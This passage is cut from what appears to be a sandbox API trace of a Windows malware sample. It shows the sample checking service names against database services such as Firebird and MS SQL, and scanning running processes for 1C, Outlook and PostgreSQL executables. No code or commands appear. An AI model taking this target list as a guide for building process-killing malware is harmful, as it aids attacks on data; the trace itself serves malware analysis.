(lpString="Winmgmt") returned 7 [0057.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.046] lstrlenW (lpString="wscsvc") returned 6 [0057.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0057.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0057.047] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0057.047] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0057.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0057.047] lstrlenW (lpString="wuauserv") returned 8 [0057.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0057.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0057.047] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0057.047] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0057.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0057.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f90098 | out: hHeap=0x520000) returned 1 [0057.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0057.051] Process32FirstW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.051] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.051] lstrlenW (lpString="System") returned 6 [0057.052] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.052] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.052] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.052] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.052] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.052] lstrlenW (lpString="smss.exe") returned 8 [0057.052] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.059] lstrlenW (lpString="csrss.exe") returned 9 [0057.059] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.059] lstrlenW (lpString="wininit.exe") returned 11 [0057.059] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.060] lstrlenW (lpString="csrss.exe") returned 9 [0057.060] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.061] lstrlenW (lpString="winlogon.exe") returned 12 [0057.061] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.061] lstrlenW (lpString="services.exe") returned 12 [0057.061] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.062] lstrlenW (lpString="lsass.exe") returned 9 [0057.062] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.062] lstrlenW (lpString="lsm.exe") returned 7 [0057.062] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.063] lstrlenW (lpString="svchost.exe") returned 11 [0057.063] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.063] lstrlenW (lpString="svchost.exe") returned 11 [0057.063] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.064] lstrlenW (lpString="svchost.exe") returned 11 [0057.064] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.064] lstrlenW (lpString="svchost.exe") returned 11 [0057.064] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.065] lstrlenW (lpString="svchost.exe") returned 11 [0057.065] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.065] lstrlenW (lpString="audiodg.exe") returned 11 [0057.065] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.066] lstrlenW (lpString="svchost.exe") returned 11 [0057.066] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.066] lstrlenW (lpString="svchost.exe") returned 11 [0057.066] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.067] lstrlenW (lpString="dwm.exe") returned 7 [0057.067] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.068] lstrlenW (lpString="explorer.exe") returned 12 [0057.068] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.068] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.068] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.069] lstrlenW (lpString="taskhost.exe") returned 12 [0057.069] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.069] lstrlenW (lpString="svchost.exe") returned 11 [0057.069] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.070] lstrlenW (lpString="taskeng.exe") returned 11 [0057.070] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.070] lstrlenW (lpString="taskhost.exe") returned 12 [0057.070] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.071] lstrlenW (lpString="svchost.exe") returned 11 [0057.071] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0057.071] lstrlenW (lpString="sppsvc.exe") returned 10 [0057.071] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.072] lstrlenW (lpString="svchost.exe") returned 11 [0057.072] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0057.072] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0057.073] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0057.073] lstrlenW (lpString="smsvhskate.exe") returned 14 [0057.073] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0057.074] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0057.074] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0057.074] lstrlenW (lpString="patient latin.exe") returned 17 [0057.074] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0057.075] lstrlenW (lpString="barbados.exe") returned 12 [0057.075] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0057.075] lstrlenW (lpString="otthose.exe") returned 11 [0057.075] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0057.076] lstrlenW (lpString="suburban.exe") returned 12 [0057.076] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0057.076] lstrlenW (lpString="examination.exe") returned 15 [0057.076] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0057.077] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0057.077] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0057.077] lstrlenW (lpString="madrid.exe") returned 10 [0057.077] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0057.078] lstrlenW (lpString="measurerush.exe") returned 15 [0057.078] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0057.078] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0057.078] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0057.079] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0057.079] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0057.079] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0057.079] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0057.080] lstrlenW (lpString="jessefun.exe") returned 12 [0057.320] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0057.354] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0057.355] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0057.355] lstrlenW (lpString="sellers.exe") returned 11 [0057.355] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0057.356] lstrlenW (lpString="gras hair.exe") returned 13 [0057.356] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0057.357] lstrlenW (lpString="acquisitions.exe") returned 16 [0057.357] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0057.357] lstrlenW (lpString="starscondos.exe") returned 15 [0057.357] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.358] lstrlenW (lpString="3dftp.exe") returned 9 [0057.358] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.358] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0057.358] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.359] lstrlenW (lpString="alftp.exe") returned 9 [0057.359] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.359] lstrlenW (lpString="barca.exe") returned 9 [0057.359] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.360] lstrlenW (lpString="bitkinex.exe") returned 12 [0057.360] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.360] lstrlenW (lpString="coreftp.exe") returned 11 [0057.360] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.361] lstrlenW (lpString="far.exe") returned 7 [0057.361] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.361] lstrlenW (lpString="filezilla.exe") returned 13 [0057.361] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.362] lstrlenW (lpString="flashfxp.exe") returned 12 [0057.362] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.363] lstrlenW (lpString="fling.exe") returned 9 [0057.363] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.363] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0057.363] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.364] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0057.364] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.365] lstrlenW (lpString="icq.exe") returned 7 [0057.365] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.366] lstrlenW (lpString="leechftp.exe") returned 12 [0057.366] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.367] lstrlenW (lpString="ncftp.exe") returned 9 [0057.367] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.367] lstrlenW (lpString="notepad.exe") returned 11 [0057.368] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.368] lstrlenW (lpString="operamail.exe") returned 13 [0057.368] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.369] lstrlenW (lpString="pidgin.exe") returned 10 [0057.369] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0057.370] lstrlenW (lpString="scriptftp.exe") returned 13 [0057.370] Process32NextW (in: hSnapshot=0x160, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, 